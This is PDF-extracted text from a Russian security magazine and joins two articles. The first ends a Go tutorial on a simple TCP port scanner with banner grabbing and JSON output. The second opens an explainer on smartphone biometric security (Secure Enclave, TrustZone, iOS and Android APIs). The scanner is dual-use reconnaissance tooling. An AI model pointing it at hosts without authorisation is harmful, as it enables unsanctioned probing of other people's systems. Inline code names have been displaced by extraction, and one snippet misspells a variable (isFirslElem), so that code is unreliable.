тебе знакомыми. У  нас есть  с  разными флагами, определя‐

ющими поведение, есть , считывающая содержимое в срез бай‐

тов, и есть , записывающая срез байтов в файл.

os

os.OpenFile()
file.Read()

file.Write()
Открытый файл, разумеется, следует закрыть вызовом  пос‐

ле завершения работы с ним. Мы же используем немного более высокоуров‐
невый и  во многих случаях оптимальный способ буферизованного вво‐
да‑вывода в  пакете , который тоже входит в  стандартную библиотеку
Go.

file.Close()

bufio

Читаем список портов из файла
Пока начнем с чтения файлов. Добавим в наше приложение следующую фун‐
кцию:

     func loadPortsList(fileName string) ([]string, error) {
      ports := []string{}

       prtFile, err := os.Open(fileName)
        if err != nil {

          return ports, err
    }
     defer prtFile.Close()

      scanner := bufio.NewScanner(prtFile)
      for scanner.Scan() {

          s := scanner.Text()
             _, err := strconv.ParseUint(s, 10, 16)
            if err != nil {

            continue
        }

           ports = append(ports, s)
    }
      err = scanner.Err()
      return ports, err
}

Продолжение статьи →

https://xakep.ru/2026/02/12/learning-go-1/
https://pkg.go.dev/os
https://pkg.go.dev/net


GO СКАНИТЬ!
ПИШЕМ ПРОСТОЙ

СКАНЕР ПОРТОВ НА GOLANG

КОДИНГ  НАЧАЛО СТАТЬИ←

Здесь мы загружаем список портов из файла, имя которого получим аргумен‐
том. Возвращаем список и ошибку, если таковая возникнет.

INFO

Многие функции в Go возвращают значение типа
, чтобы указать на  ошибку. Идиоматично

помещать это значение последним в списке воз‐
вращаемых и присваивать ему , если ошибки
нет. Используй этот подход, чтобы поведение
твоей функции не  было сюрпризом для  тех, кто
будет работать с твоим кодом.

error

nil

В начале создаем пустой срез строк, в  который будем добавлять прочитан‐
ные данные. Далее следует функция , открывающая файл на чтение.
Проверяем, успешно ли открыт файл.

os.Open

Defer и закрытие ресурсов
Дальше  — новая фича языка, которую мы еще  не использовали:  поз‐

воляет отложить выполнение функции до момента возврата из внешней фун‐
кции. То есть в  нашем случае  будет вызвано тогда, когда
будет выполнен возврат из  .

defer

prtFile.Close()
loadPortsList()

Причем отложенная функция выполнится в любом случае, даже если про‐
изошла ошибка, деление на  ноль, что угодно,  —  отработает всегда
перед самым возвратом. Это для нас очень удобно: мы открыли файл, тут же
отложили его закрытие и дальше можем писать любой код, не заботясь о том,
что в какой‑то ветке выйдем из функции, забыв закрыть файл. Деферов может
быть несколько, они будут выполнены в  порядке LIFO (первый по  ходу
исполнения кода, то есть верхний в листинге, выполнится последним).

defer

Увы, удобство  возможно не всегда. Функция , которой мы

уже пользовались, немедленно выполняет системный вызов, не  дожидаясь
никаких defer. Так же себя ведут и функции семейства  — у них

внутри  и  . Поэтому часто используют паттерн main-run,

оборачивая код в отдельную функцию, которая никогда не вызывает 

, а только возвращает ошибку. Именно так мы и сделаем в дальнейшем.

defer os.Exit()

log.Fatal()
fmt.Print os.Exit()

os.Exit(
)

Далее создаем экземпляр Scanner, передав ему открытый файл. Сканер
позволяет читать файл «по кусочкам» (токенам), для чего предоставляет соот‐
ветствующие методы. По умолчанию разделение на токены идет по переводу
строки, то есть мы читаем файл построчно (символы перевода при этом будут
отброшены). Продвижение от  токена к  токену выполняется вызовом метода

, который будет возвращать true, пока не  достигнет конца файла

или не случится ошибка. А сам текущий токен можно получить, вызвав метод
. Мы можем узнать, был ли файл штатно считан до конца, или чтение

прервано ошибкой, вызвав метод . Как видишь, все довольно стройно

и логично. Такой метод позволяет избежать загрузки файла в память целиком
и последующего парсинга набора байтов/символов вручную.

Scan()

Text()
Err()

Примерно аналогично работает и запись, только вместо сканера мы соз‐
даем Writer и  при необходимости вызываем один из  его методов ,

, ,  для  записи среза байтов,
отдельного байта, руны (символа Юникода) или  строки соответственно. Эти
методы возвращают значение типа error, которое можно использовать
для контроля успешности записи. Поскольку мы имеем дело с буферизован‐
ным вводом‑выводом, перед закрытием файла обязательно следует вызвать
метод  для сброса всего содержимого буфера в файл. Чуть ниже мы

скомбинируем  и   для правильной финализации записи.

Write()
WriteByte() WriteRune() WriteString()

Flush()
defer Flush()

Прочитав очередную строку, выполним валидацию. Номер порта должен
быть целым числом в  диапазоне от  0  до  65  535. Здесь нам поможет пакет
strconv, все так же из  стандартной библиотеки, в  котором собраны функции
строковых конвертаций базовых типов. Мы применим ,

получающую три аргумента: обрабатываемая строка, основание системы
счисления, размер типа. В данном случае выполняем конвертацию в 

(а это как раз 65 535 максимум).  возвращает преобразованное

значение и  ошибку. Само значение мы отбрасываем, а  вот ошибку исполь‐
зуем, чтобы понять, была ли конвертация успешна. При  неудаче переходим
к следующей строке файла.

strconv.ParseUint()

uint16
ParseUint()

Если конвертация успешна, добавим значение в  срез результатов.
Для  этого используем функцию . Она принимает целевой срез
и  добавляемое значение и  возвращает новый срез. Еще  раз обрати вни‐
мание: append не  меняет существующий срез, а  создает новый, именно
поэтому важно присваивать именно возвращенное значение.

append()

Паттерн main-run
Все, что у нас раньше было в  , перенесем в  , только все вызовы

 нужно заменить возвратом ошибки . В основной фун‐

кции мы проверяем наличие ошибки и  возвращаем ненулевой код, если
ошибка произошла. Обрати внимание на синтаксис if, состоящий из объявле‐
ния переменной и проверки ее значения в одну строку, — да, так тоже можно.
Вот что получилось:

main() run()
os.Exit(1) return err

    func run() (err error) {
     const (

          srcFileName = "targets.txt"
          prtFileName = "ports.txt"
          dstFileName = "scan_results.txt"

    )

    // Загружаем список портов из файла
       ports, err := loadPortsList(prtFileName)
        if err != nil {

         return err
    }
        if len(ports) == 0 {

           e := fmt.Sprintf("error reading %s: empty file\n",
prtFileName)

         return errors.New(e)
    }

    // Открываем список целевых хостов и создаем Scanner
       srcFile, err := os.Open(srcFileName)
        if err != nil {

         return err
    }
     defer srcFile.Close()
      scanner := bufio.NewScanner(srcFile)

    // Создаем файл для записи результатов и Writer
       dstFile, err := os.Create(dstFileName)
        if err != nil {

         return err
    }
     defer dstFile.Close()
      writer := bufio.NewWriter(dstFile)
      defer func() {
        // Запланируем сброс буфера и объединим ошибки

          flushErr := writer.Flush()
           err = errors.Join(err, flushErr)

    }()

       buffer := make([]byte, 256)
        timeout := 250 * time.Millisecond
    // Каждая строка — отдельный хост
    // Валидируем и сканируем
      for scanner.Scan() {

          target := scanner.Text()
        // Валидация хоста

            if net.ParseIP(target) == nil {
               ips, err := net.LookupHost(target)

                    if err != nil || len(ips) == 0 {
                continue
            }

              target = ips[0]
        }
        // Запускаем сканирование

              for _, port := range ports {
               addr := net.JoinHostPort(target, port)
                 conn, err := net.DialTimeout("tcp", addr, timeout)

                if err != nil {
                continue
            }
            // Пишем и в файл, и в консоль

               s := fmt.Sprintf("%s is open\n", addr)
            fmt.Print(s)
            writer.WriteString(s)
            // Соберем баннер

              deadline := time.Now().Add(timeout)
            conn.SetDeadline(deadline)

                banner, _ := grabBanner(conn, buffer)
            fmt.Println(banner)
            writer.WriteString(banner)
            // Соединение больше не нужно
            conn.Close()
        }
    }
    // Проверим ошибку чтения файла с целями
     return scanner.Err()
}

  func main() {
           if err := run(); err != nil {

         fmt.Fprintln(os.Stderr, err)
        os.Exit(1)
    }
}

Давай рассмотрим  подробнее. Имена файлов мы задали константами.

В реальном приложении, скорее всего, мы получали бы из аргументов коман‐
дной строки, но  я пока сделал так для  упрощения и  сокращения объема.
Дальше мы вызываем только что нами написанную функцию, загружающую
список портов. Проверим и  длину этого списка: нет портов  — нечего ска‐
нировать, выходим.

run()

Затем, точно так же, как это сделано внутри , открываем

файл со  списком целевых хостов на  чтение и  создаем экземпляр буфери‐
зованного «читателя» .

loadPortsList()

bufio.Scanner
Сходным образом открываем файл для  записи результатов и  создаем

экземпляр буферизованного «писателя» . В  цикле продвига‐

емся по файлу с хостами построчно, валидируем считанную строку точно так
же, как  мы это  делали для  аргумента запуска программы, и  сканируем весь
список портов для  каждого хоста. Результаты сканирования выводим и  в
файл, и в консоль.

bufio.Writer

Финализация вывода
Давай внимательнее разберем, как  выполняется финализация файла
с  результатами. Как  ты уже знаешь, bufio работает с  буферизованным вво‐
дом‑выводом. Это значит, что между тем моментом, когда мы вызовем фун‐
кцию записи, и  фактической записью в  файл может пройти произвольное
время. Поэтому перед закрытием файла необходимо вызвать .Flush()

Теперь смотри, что у  нас получается. Мы отложили эти функции через
. Основной код отрабатывает, и отложенные функции начинают выпол‐

няться в  порядке снизу вверх. Тот , который закрывает файл вызовом

, находится выше, чем тот, который выполняет сброс
буфера вызовом . Это значит, что он будет выполнен позже.

Тем самым мы и обеспечили верную последовательность.

defer
defer

dstFile.Close()
writer.Flush()

А еще  ты наверняка обратил внимание на  то, что этот второй 

необычно выглядит. Он использует анонимную функцию  — замыкание. Она
видит и  может использовать переменные из  внешней области видимости,
даже после того, как внешняя функция завершила работу (это еще называют
захватом переменных).

defer

Внутри этой анонимной функции мы вызываем  и  ком‐

бинируем ошибки:  из  внешней области видимости и  ту, что вернет

. Для  этого мы используем функцию : она

вернет nil, если все переданные ошибки тоже nil, либо комбинацию ошибок
в противном случае.

writer.Flush()
err

writer.Flush() errors.Join()

Остался последний нюанс  — как  нам вернуть нашу вновь созданную
ошибку, ведь внешняя функция уже завершилась и  мы не  можем вызвать

? Выход очень простой: внимательнее взгляни на  сигнатуру внешней

функции  — . Возвращаемое нами значение име‐

нованное, и  как раз эту переменную под  именем  захватывает (и, воз‐

можно, модифицирует) отложенная функция‑замыкание.

return
func run() (err error)

err

Ты можешь создать в  каталоге нашего модуля (то есть в  той папке, где
находится ) файлы  и  , содержащие список

целевых хостов и сканируемых портов, по одному значению на строку. Запус‐
ти код посредством , и, когда программа завершится, там же уви‐

дишь новый файл .

main.go targets.txt ports.txt

go run .
scan_results.txt

Не увлекайся с  целями, у  нас здесь цикл, вложенный в  цикл. Для  ком‐
бинации из  десяти хостов и  десяти портов будет выполнено сто попыток.
С тайм‑аутом 0,25 с на каждую это займет до 25 с. В следующих статьях мы
научимся, во‑первых, штатно прерывать работу длительно выполняющихся
программ, не  прибегая к  их аварийному завершению, и, во‑вторых, исполь‐
зовать параллельные потоки для  одновременного сканирования множества
целей.

Пишем JSON
Взглянув на  содержимое получившегося файла, ты не  можешь не  заметить,
что читать его сложно: это  стена текста, в  которой перемешаны и  адреса
с портами, и разнообразные ответы‑баннеры.

Я покажу тебе еще один вариант форматированного вывода. Определим
новый тип данных — структуру для хранения результатов:

   type ScanResult struct {
       Host string
       Port string
     Banner string
}

Мы будем писать сериализованные результаты в  файл в  формате JSON.
Но  при этом оставим буферизованный вывод по  одной строке (теперь  —
по одному объекту), чтобы не копить все данные в памяти, пока идет сканиро‐
вание. А  то вдруг у  нас миллион хостов и  электричество выключится прямо
посередине процесса? Поэтому кое‑что придется сделать вручную. Сериали‐
зованная коллекция объектов в JSON выглядит так:

[
  { поле: значение },
  { поле: значение },
  { поле: значение }
]

Квадратные скобки в  начале и  в конце, как  и запятые между результатами,
нам и  нужно будет добавить самим. Дополним код (в любом месте
перед основным циклом):

writer.WriteString("[")
 defer writer.WriteString("\n]")

  isFirstElem := true
  result := &ScanResult{}

Здесь мы записали в выходной файл открывающую квадратную скобку (сим‐
вол начала коллекции) и  отложили запись закрывающей скобки (конец кол‐
лекции). Флаг  указывает, является ли текущий результат ска‐
нирования первым в  коллекции. Мы используем его, чтобы расставлять
запятые между элементами. Наконец, создадим пустую структуру для  хра‐
нения результатов и присвоим переменной result указатель на нее. Мы не ука‐
зали значения полей, но  в этом нет ничего страшного  — по  умолчанию
это будут пустые строки.

isFirstElem

INFO

Если  бы мы накапливали результаты в  памяти
(например, в  срезе или  карте) и  только потом
писали на  диск  — нам пришлось  бы создавать
новый экземпляр структуры на  каждой итерации
цикла. Но, поскольку мы пишем каждый получен‐
ный результат, хранить нам ничего не  нужно,
и  мы используем единственную структуру,
перезаписывая значения ее полей. Экономия
памяти налицо!

За сериализацию (ее еще  называют маршалингом) объектов в  JSON отве‐
чает пакет . Как  и все остальные использованные нами

пакеты, он входит в  стандартную библиотеку. Нам понадобится функция
. Если же ты хочешь получить более разреженный вариант,

где каждое поле с  новой строки и  отступы в  начале строк, используй 

.

encoding/json

json.Marshal()
json.

MarshalIndent()
Изменим код внутри цикла:

// Запускаем сканирование
      for _, port := range ports {

       addr := net.JoinHostPort(target, port)
         conn, err := net.DialTimeout("tcp", addr, timeout)
        if err != nil {
        continue
    }
    // Пишем в консоль
       s := fmt.Sprintf("%s is open\n", addr)
    fmt.Print(s)
    // Соберем баннер
      deadline := time.Now().Add(timeout)
    conn.SetDeadline(deadline)
        banner, _ := grabBanner(conn, buffer)
    fmt.Println(banner)
    // Соединение больше не нужно
    conn.Close()
    // Обновляем поля структуры
    // Пишем сериализованную инфу в файл
      result.Host = target
      result.Port = port
      result.Banner = banner
       jsonBytes, err := json.Marshal(result)
    // jsonBytes, err := json.MarshalIndent(result, "", "  ")
        if err != nil {
        continue
    }
      if isFirslElem {

          isFirslElem = false
      } else {
        writer.WriteByte(',')
    }
    writer.WriteByte('\n')
    writer.Write(jsonBytes)
}

Для каждого результата сканирования присваиваем полям нашей структуры
соответствующие значения и передаем в функцию , которая

возвращает срез байтов. Используем наш буферизованный «писатель»
для  записи в  файл. Добавляем запятую, если записываемый результат
не первый, и перевод строки для лучшей читаемости.

json.Marshal()

Получившийся файл гораздо удобнее и  читать самому, и  обрабатывать
машинным способом. Сериализованные структуры можно считать и  восста‐
новить в объекты в другом коде (даже на другом языке программирования),
чтобы выполнить какие‑то дальнейшие действия.

Вот и  все на  сегодня. В  следующий раз поговорим об  условной ком‐
пиляции для разных платформ, поработаем с парсингом строк, а потом нач‐
нем осваивать самое вкусное в Go — многопоточность. © X
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КОДИНГ

В этой статье разберем, как  современные
смартфоны превратились в  аппаратно
защищенные сейфы для  данных. Разберем
техническую архитектуру Secure Enclave
и  TrustZone, поймем, почему сканер отпе‐
чатка не  передает «изображение пальца»
в  приложение, увидим реальные примеры
кода для  iOS и  Android и  проследим весь
путь биометрических данных от  датчика
до криптографической операции.

Если ты делаешь приложения с аутентификацией или просто хочешь понять,
почему Face ID безопаснее четырехзначного пина,  — эта статья для  тебя.
После прочтения ты сможешь грамотно интегрировать биометрию в  свои
проекты и объяснить клиентам, почему их данные в безопасности.

ЭРА ДОВЕРЕННОГО УСТРОЙСТВА

Лет семь назад я работал над финансовым приложением. Мы хранили хеши
паролей в базе — SHA-256, соль, все по учебнику. И все равно спали плохо.
Потому что база могла утечь, радужные таблицы существовали, а пользовате‐
ли упорно ставили  или свою дату рождения. Каждый новый дамп

из очередного взломанного сервиса добавлял нервозности.

password123

Облачная биометрия казалась спасением. Сканируешь лицо, отправ‐
ляешь на сервер, там сравниваешь с эталоном. Но доверие к такому подходу
испарилось мгновенно, как  только начали появляться новости об  утечках
шаблонов отпечатков. Представь: твой пароль можно сменить, а  вот отпе‐
чаток пальца или  скан лица  — нет. Если они утекли, ты скомпрометирован
навсегда.

В Apple и Google решили проблему радикально: устройства сделали зам‐
кнутым, физически защищенным контуром для  аутентификации. Твой отпе‐
чаток пальца или скан лица никогда не покидают этот контур. Не передаются
в приложение, не улетают на сервер, даже не попадают в обычную оператив‐
ную память телефона.

Дальше я подробно покажу, как технически устроена эта изоляция, почему
это действительно работает и как использовать эти механизмы в своих при‐
ложениях.

ОСНОВА ОСНОВ: ПЕСОЧНИЦЫ, TEE И SECURE ENCLAVE

Песочница приложения (App Sandbox)
Начнем с базы. Каждое приложение на iOS и Android живет в своей изолиро‐
ванной песочнице. Это означает:

У приложения есть собственная директория для файлов, куда другие при‐
ложения не имеют доступа.

•

Оно работает в отдельном процессе с собственным адресным пространс‐
твом в памяти.

•

ОС строго контролирует, к каким системным ресурсам приложение может
обращаться.

•

На iOS песочница реализована через механизмы sandbox-exec и entitlements.
Каждое приложение из App Store запускается с ограниченным набором прав.
Хочешь получить доступ к  камере? Нужен соответствующий entitlement
и  явное разрешение пользователя. Хочешь прочитать файлы другого при‐
ложения? Забудь, это физически невозможно без джейлбрейка.

На Android песочница основана на механизмах Linux: каждое приложение
получает уникальный UID и  работает в  собственном процессе. SELinux
(Security-Enhanced Linux) добавляет дополнительные правила мандатного
контроля доступа.

Но вот что важно понять: песочница защищает приложения друг от друга,
но  . Операционная система имеет полный дос‐

туп ко всей памяти и всем процессам. Если в ядре iOS или Android есть уяз‐
вимость, злоумышленник с  root-доступом может читать память любого при‐
ложения.

не защищает от самой ОС

Для биометрии этого недостаточно. Нужен еще один уровень изоляции —
уровень, который защищен даже от операционной системы.

Уровни доверия в процессоре
Современный процессор ARM в  смартфоне  — это  не монолитный чип, где
все выполняется в одном контексте. Это сложная архитектура с несколькими
изолированными вычислительными контурами, у  каждого из  которых свой
уровень привилегий.

Rich OS (обычная операционная система)
Здесь живут iOS или Android, все приложения, браузеры, игры, мессенджеры.
Это  «обычный мир» (Normal World в  терминологии ARM), где крутится весь
пользовательский код. Здесь работает основное ядро Linux (на Android)
или XNU (на iOS).

TEE (Trusted Execution Environment) — доверенная среда
выполнения
TEE — это изолированная среда выполнения, физически отделенная от Rich
OS на уровне процессора. Реализована через технологию ARM TrustZone.

Как это работает? Процессор может переключаться между двумя режима‐
ми: Normal World и Secure World. Переключение происходит через специаль‐
ную инструкцию  (Secure Monitor Call), которая вызывает Secure Monitor —

микроядро, управляющее переходами между мирами.

SMC

В Secure World выполняется собственная микроОС (например, Trusty
на  Android или  sepOS на  iOS). Эта ОС имеет доступ к  защищенной области
памяти, которая  для Normal World. Даже если хакер получит root
в Android или iOS, он не сможет прочитать память Secure World.

недоступна

В Android TEE называется просто TrustZone. Но  в топовых устройствах
(например, Google Pixel с  чипом Titan M или  Samsung с  Knox) добавляется

  — отдельный аппаратный модуль безопасности.
Это физически отдельный чип, который работает как усиленный TEE и хранит
криптографические ключи в еще более защищенной среде.

StrongBox Keymaster

Apple Secure Enclave
Инженеры Apple пошли дальше. Вместо того чтобы использовать TrustZone
как  режим основного CPU, они создали отдельный криптографический соп‐
роцессор  — . Это  физически отдельный кусок кремния

на том же чипе A-серии (или M-серии в Mac).

Secure Enclave

Secure Enclave — это полноценный компьютер внутри iPhone:
собственный процессор (модифицированный ARM);•
собственная зашифрованная память (обычно 4 Мбайт);•
собственная операционная система (sepOS  — Secure Enclave Processor
OS, основанная на L4 microkernel);

•

собственный генератор случайных чисел;•
собственная загрузочная ROM, которая проверяет подпись sepOS
при старте.

•

Secure Enclave общается с основным процессором через прерывания, но это
общение строго регламентировано. Основной CPU может отправить запрос
в  Enclave (например, «проверь биометрию»), но  не может прочитать его
память или вмешаться в его работу.

Secure Enclave / StrongBox — «сейф в сейфе»
Давай подробнее разберем, что делает Secure Enclave и  StrongBox такими
защищенными.

Уникальный аппаратный идентификатор (UID)
Внутри каждого Secure Enclave (или StrongBox) есть уникальный  256-битный
ключ, который вшивается в  чип на  этапе производства. Этот UID (на iOS)
или PUID (на Android):

генерируется случайным образом для каждого устройства;•
записывается в энергонезависимую память чипа один раз и навсегда;•

 программными методами. Даже код, работающий внутри
Secure Enclave, не может прочитать UID целиком, он может только исполь‐
зовать его для криптографических операций;

• неизвлекаем

неизвлекаем аппаратными методами без разрушения чипа.•

Я видел исследования, где пытались извлечь UID через декапсуляцию чипа
(снятие верхних слоев под  микроскопом) и  чтение содержимого памяти
с помощью электронного микроскопа. Технически это возможно, но требует
оборудования стоимостью в  сотни тысяч долларов и  месяцы работы,
не  говоря уже о  том, что приводит к  разрушению устройства. Для  массовых
атак это нерентабельно.

Иерархия ключей
UID никогда не  используется напрямую. Вместо этого он служит корнем
для дерева производных ключей:

UID (аппаратный)
  └─> GID (Group ID, общий для всех устройств одной модели)
  └─> Device Key (производный от UID + энтропия при первом включении)
      └─> Class Keys (производные от Device 
Key + пасскод пользователя)
          └─> File/Item Keys (индивидуальные ключи для данных)

Такая иерархия позволяет:
защитить данные от  копирования на  другое устройство (так как  UID уни‐
кален);

•

привязать расшифровку данных к знанию пасскода;•
быстро удалить все данные, просто сбросив Class Keys (не нужно переза‐
писывать каждый файл).

•

Физическая изоляция памяти
Память Secure Enclave зашифрована встроенным движком AES, ключ
от  которого хранится в  энергозависимой SRAM. При  отключении питания
ключ исчезает, и вся память становится бесполезным набором байтов. Даже
если ты сможешь выпаять чип Secure Enclave, подключишь его к  другому
устройству и  попытаешься прочитать  — получишь зашифрованные данные,
ключ от которых утерян.

Защита от отладки
Secure Enclave не имеет отладочных интерфейсов. Нет JTAG, нет возможнос‐
ти подключить отладчик, нет логов, которые можно было  бы перехватить.
Это  черный ящик, который принимает запросы и  возвращает результаты,
но не позволяет заглянуть внутрь.

ЗАКРЫТЫЕ API И БИОМЕТРИЧЕСКИЕ ДАТЧИКИ

Почему API биометрии — закрытые?
Представь, что любое приложение могло бы напрямую обращаться к сканеру
отпечатка или  камере Face ID. Что мешало  бы вредоносному приложению
незаметно снять скан твоего лица, пока ты играешь в  игру? Ничего. И  это
было бы катастрофой!

Поэтому в  Apple и  Google закрыли низкоуровневые API биометрических
датчиков. Эти API ведут напрямую в TEE / Secure Enclave, и доступ к ним име‐
ют только системные сервисы операционной системы. Они прошли жесткую
проверку кода от  разработчиков ОС, подписаны корневым сертификатом
Apple или Google и имеют специальные привилегии на уровне ядра.

На iOS это демон , который работает от имени системного

пользователя и  общается с  драйвером Secure Enclave. На  Android это  сис‐
темный сервис , работающий в  процессе 
с привилегиями SYSTEM.

biometrickitd

BiometricService system_server

Обычное приложение, даже с root-доступом (на устройстве с джейлбрей‐
ком), не  может вызвать эти низкоуровневые API. Система просто откажет
в доступе.

Как это выглядит для разработчика
Разработчик приложения использует высокоуровневый фреймворк, который
предоставляет ОС. Этот фреймворк действует как  посредник между при‐
ложением и защищенными системными сервисами.

iOS: LocalAuthentication Framework
На iOS ты работаешь с  фреймворком  и  классом

.
LocalAuthentication

LAContext

 import LocalAuthentication

  func authenticateUser() {
       let context = LAContext()
      var error: NSError?

    // Проверяем доступность биометрии
     

   
if context.canEvaluatePolicy(.

deviceOwnerAuthenticationWithBiometrics, error: &error) {

           let reason = "Необходимо войти в приложение"

        // Запрашиваем аутентификацию
        context.evaluatePolicy(.
deviceOwnerAuthenticationWithBiometrics,

    
 

                              localizedReason: reason) { success,
authError in

             DispatchQueue.main.async {
                  if success {

                    print("Аутентификация успешна")
                    // Разрешаем доступ к защищенным данным

                  } else {

  
                    print("Аутентификация не удалась: \(authError?.
localizedDescription ?? "Unknown")")
                }
            }
        }
      } else {

          print("Биометрия недоступна: \(error?.localizedDescription ??
"Unknown")")
    }
}

Обрати внимание: ты не видишь изображение лица пользователя, не получа‐
ешь хеш отпечатка, даже не  знаешь, какая именно биометрия используется
(Touch ID или  Face ID). Система возвращает только булев результат: успех
или неудача.

Есть еще более тонкая настройка. Ты можешь указать:

  context.localizedFallbackTitle = "Использовать пароль"
  context.localizedCancelTitle = "Отмена"

// Повторное использование в течение десяти секунд
  context.touchIDAuthenticationAllowableReuseDuration = 10

Но даже с этими настройками ты остаешься на высоком уровне абстракции.
Система контролирует UI (стандартный промпт Face ID или Touch ID), провер‐
ку биометрии и возврат результата.

Android: BiometricPrompt API
На Android с  версии  9.0 (API 28) появился унифицированный

, который заменил старые  и  раз‐

розненные API.

BiometricPrompt FingerprintManager

 import androidx.biometric.BiometricPrompt
 import androidx.core.content.ContextCompat
 import androidx.fragment.app.FragmentActivity

    class MainActivity : FragmentActivity() {

        private lateinit var biometricPrompt: BiometricPrompt
        private lateinit var promptInfo: BiometricPrompt.PromptInfo

        override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

           val executor = ContextCompat.getMainExecutor(this)

           biometricPrompt = BiometricPrompt(this, executor,
              object : BiometricPrompt.AuthenticationCallback() {

                  override fun onAuthenticationSucceeded(
                     result: BiometricPrompt.AuthenticationResult

                 ) {
                    super.onAuthenticationSucceeded(result)
                    println("Аутентификация успешна")
                    // Разрешаем доступ
                }

    
  

                override fun onAuthenticationError(errorCode: Int,
errString: CharSequence) {

                     super.onAuthenticationError(errorCode, errString)
                    println("Ошибка: $errString")
                }

                   override fun onAuthenticationFailed() {
                    super.onAuthenticationFailed()
                    println("Биометрия не распознана")
                }
            })

          promptInfo = BiometricPrompt.PromptInfo.Builder()
            .setTitle("Вход в приложение")
            .setSubtitle("Используйте отпечаток пальца")
            .setNegativeButtonText("Использовать пароль")
            .build()

        // Запускаем аутентификацию
        biometricPrompt.authenticate(promptInfo)
    }
}

Опять же: никаких сырых биометрических данных. Только результат верифи‐
кации в колбэке.

Можно пойти дальше и использовать биометрию для разблокировки крип‐
тографического ключа (об этом подробнее поговорим чуть позже):

   val cipher = getCipher()
   val secretKey = getSecretKey()

 cipher.init(Cipher.ENCRYPT_MODE, secretKey)

biometricPrompt.authenticate(
    promptInfo,
    BiometricPrompt.CryptoObject(cipher)
)

В этом случае после успешной биометрии ты получишь 

, который уже инициализирован и  готов к  шиф‐

рованию. Но сам ключ ты по‑прежнему не видишь.

result.
cryptoObject?.cipher

От приложения до датчика
Давай проследим весь путь запроса на аутентификацию.

iOS
[Твое приложение]
    ↓ вызов LAContext.evaluatePolicy()
[LocalAuthentication.framework]
    ↓ XPC-вызов
[biometrickitd] (системный демон)
    ↓ вызов IOKit
[Драйвер Secure Enclave]
    ↓ прерывание
[Secure Enclave Processor]
    ↓ команда датчику
[Датчик Touch ID / Face ID]

Ответ идет обратно по той же цепочке:

[Датчик сканирует биометрию]
    ↓ передача в Secure Enclave
[Secure Enclave: создание хеша, сравнение с эталоном]
    ↓ результат (bool)
[Драйвер возвращает результат в biometrickitd]
    ↓ XPC-ответ
[LocalAuthentication.framework возвращает результат]
    ↓ колбэк
[Твое приложение получает success/failure]

Android
[Твое приложение]
    ↓ вызов BiometricPrompt.authenticate()
[androidx.biometric library]
    ↓ Binder IPC
[BiometricService] (в system_server)
    ↓ HAL (Hardware Abstraction Layer)
[Fingerprint HAL / Face HAL]
    ↓ вызов TEE
[TrustZone / StrongBox]
    ↓ команда датчику
[Биометрический датчик]

Ответ:

[Датчик сканирует биометрию]
    ↓ передача в TrustZone
[TrustZone: создание template, сравнение]
    ↓ результат (match token)
[HAL возвращает токен в BiometricService]
    ↓ Binder IPC
[androidx.biometric передает результат]
    ↓ колбэк
[Твое приложение получает onAuthenticationSucceeded()]

Ключевой момент: на  каждом этапе передается не  сама биометрия, а  лишь
 или  . Исходные данные

(изображение лица, скан отпечатка) существуют только внутри защищенного
периметра и уничтожаются сразу после обработки.

результат проверки зашифрованный токен

ЧТО ХРАНИТСЯ И КАК СРАВНИВАЕТСЯ

Энролмент
Когда ты первый раз настраиваешь Face ID или Touch ID, происходит процесс

 (enrollment) — первичной регистрации биометрии.энролмента

Шаг 1: множественное сканирование
Система просит несколько раз отсканировать биометрию. Для  Touch ID
это обычно 8–10 касаний пальца под разными углами. Для Face ID — два пол‐
ных оборота головы для захвата профиля с разных ракурсов.

Зачем столько? Чтобы учесть вариативность. Палец пользователя может
быть мокрым, сухим, с порезом. Лицо может выглядеть по‑разному при раз‐
ном освещении, с  очками или  без, с  бородой или  без, с  разным макияжем.
Система собирает достаточно данных, чтобы создать устойчивый шаблон.

Шаг 2: извлечение признаков
Датчик передает сырые данные (для Touch ID  — изображение папиллярных
линий, для Face ID — карту глубины и  IR-изображение от TrueDepth-камеры)
напрямую в Secure Enclave или TrustZone.

Внутри защищенной среды запускается алгоритм извлечения признаков
(feature extraction). Это  процесс преобразования изображения в  набор чис‐
ловых дескрипторов  — чисел, которые описывают уникальные характерис‐
тики биометрии.

Для отпечатков пальцев (Touch ID):
определяются minutiae points — характерные точки (окончания линий, раз‐
ветвления, петли);

•

каждая точка описывается координатами, углом и типом;•
создается вектор из нескольких десятков таких точек.•

Для лица (Face ID):
анализируется геометрия: расстояние между глазами, форма носа, контур
подбородка;

•

карта глубины преобразуется в 3D-модель;•
извлекаются дескрипторы из нейронной сети (Apple использует специали‐
зированную нейросеть, работающую в Secure Enclave);

•

получается вектор из нескольких тысяч чисел.•

: эти дескрипторы  — это  . Ты не  можешь взять

вектор дескрипторов и восстановить фотографию лица или картинку отпечат‐
ка. Это  математическое представление, оптимизированное для  сравнения,
но необратимое.

Критично не изображение

Шаг 3: создание шаблона (template)
Из множества сканов система выбирает лучшие и усредняет их дескрипторы,
создавая финальный  (enrollment template).шаблон

Этот шаблон шифруется ключом, производным от UID Secure Enclave, сох‐
раняется в защищенной памяти Enclave и никогда ее не покидает.

На iOS шаблон хранится в  специальной области памяти Secure Enclave,
доступной только sepOS. На  Android шаблон хранится в  TrustZone
или StrongBox, зашифрованный аппаратным ключом.

Шаг 4: уничтожение сырых данных
Все исходные изображения и  промежуточные данные удаляются из  памяти
сразу после создания шаблона. Они не  сохраняются в  файловой системе,
не попадают в бэкапы iCloud или Google Drive, не кешируются в оперативной
памяти телефона.

Если ты сделаешь полный дамп файловой системы iOS или  Android, то
не  найдешь там «фотографии твоего лица» или  «картинки отпечатка». Они
просто не существуют в виде файлов.

«Верификация» — процесс сравнения
Когда приложение запрашивает аутентификацию, запускается процесс 

 (verification).
ве‐

рификации

Шаг 1: новое сканирование
Система активирует датчик (камера Touch ID или  Face ID) и  запрашивает
новый скан биометрии.

Шаг 2: создание хеша для сравнения
Новый скан проходит через тот же алгоритм извлечения признаков внутри
Secure Enclave. Создается временный вектор дескрипторов  — назовем его
probe template (проверочный шаблон).

Шаг 3: сравнение внутри Secure Enclave
Теперь у Secure Enclave есть два набора дескрипторов:

сохраненный эталонный шаблон (enrollment template);•
новый проверочный шаблон (probe template).•

Enclave вычисляет  — меру сходства между двумя векторами.

Обычно это  евклидово расстояние, косинусное сходство или  результат
работы нейросети‑компаратора.

similarity score

similarity = compare(enrollment_template, probe_template)

Если  выше порогового значения (например, совпадение 95%) —
аутентификация успешна. Если ниже — неудача.

similarity

Порог выбирается так, чтобы минимизировать:
  — вероятность отклонения настоящего вла‐

дельца.

